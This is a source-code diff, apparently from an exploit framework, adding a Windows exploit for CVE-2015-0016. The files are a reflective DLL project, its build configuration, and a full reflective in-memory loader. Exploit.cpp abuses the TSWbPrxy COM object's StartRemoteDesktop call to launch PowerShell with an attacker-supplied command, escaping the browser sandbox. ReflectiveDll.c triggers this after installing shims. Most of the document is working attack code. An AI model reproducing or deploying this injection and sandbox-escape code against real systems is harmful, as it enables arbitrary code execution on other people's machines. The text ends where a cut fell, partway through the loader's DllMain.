WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + true + Default + + + true + Windows + true + true + $(OutDir)$(ProjectName).arm.dll + + + copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\ + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + + + copy $(OutDir)$(ProjectName).x64.dll ..\bin\ + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters new file mode 100755 index 0000000000..f9a64f93cb --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters @@ -0,0 +1,41 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp b/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp new file mode 100755 index 0000000000..aa0829135b --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp @@ -0,0 +1,74 @@ +#include +#include "Exploit.h" +#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace + +static const size_t MaxEnv = 32767; + +static PCHAR GetEnv(LPCSTR env) +{ + char *buf = (char *)malloc(MaxEnv); + if (buf == NULL) { + return NULL; + } + + GetEnvironmentVariable(env, buf, MaxEnv); + + return buf; +} + +static VOID DoTSWbPrxyExploit() { + HRESULT hr; + IMSTSWebProxy *pUnk; + CHAR cmdline[] = "TSWbPrxy.exe"; + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + PCHAR fullPath = NULL; + PCHAR powershell = NULL; + PCHAR pshCmd = NULL; + + fullPath = GetEnv("windir"); + if (fullPath == NULL) { + goto freeFullPath; + } + strcat_s(fullPath, MaxEnv, "\\System32\\TSWbPrxy.exe"); + + powershell = GetEnv("windir"); + if (powershell == NULL) { + goto freePowershell; + } + strcat_s(powershell, MaxEnv, "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"); + + pshCmd = GetEnv("PSHCMD"); + if (pshCmd == NULL) { + goto freePowershell; + } + + hr = CreateProcess(fullPath, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo); + if (hr == 0) + goto freePshCmd; + + hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); + if (hr != 0) + goto freePshCmd; + + pUnk->StartRemoteDesktop(powershell, pshCmd); + pUnk->Release(); + +freePshCmd: + free(pshCmd); + pshCmd = NULL; +freePowershell: + free(powershell); + powershell = NULL; +freeFullPath: + free(fullPath); + fullPath = NULL; + + return; +} + +VOID DoExploit() { + CoInitialize(NULL); + DoTSWbPrxyExploit(); + CoUninitialize(); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/Exploit.h b/external/source/exploits/cve-2015-0016/dll/src/Exploit.h new file mode 100755 index 0000000000..1b28acdfe9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/Exploit.h @@ -0,0 +1,5 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +VOID DoExploit(); +#endif \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..4e9ce6d4ce --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c new file mode 100755 index 0000000000..f6ec4ca213 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c @@ -0,0 +1,53 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; + +#include + +#include "ShimsInstaller.h" +#include "Exploit.h" + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved); + +BOOL firstTime = TRUE; + +//===============================================================================================// +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + + if (firstTime) { + firstTime = FALSE; + // Will install shims and will result in a new entry to the + // reflective DLL DllMain entryPoint, at that point execution can + // be executed. + InstallShims(hinstDLL, &DllMain, lpReserved); + } + else { + DoExploit(); + } + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c new file mode 100755 index 0000000000..594c0b8066 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c @@ -0,0 +1,496 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword( 0x30 ); +#else WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the madule name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case 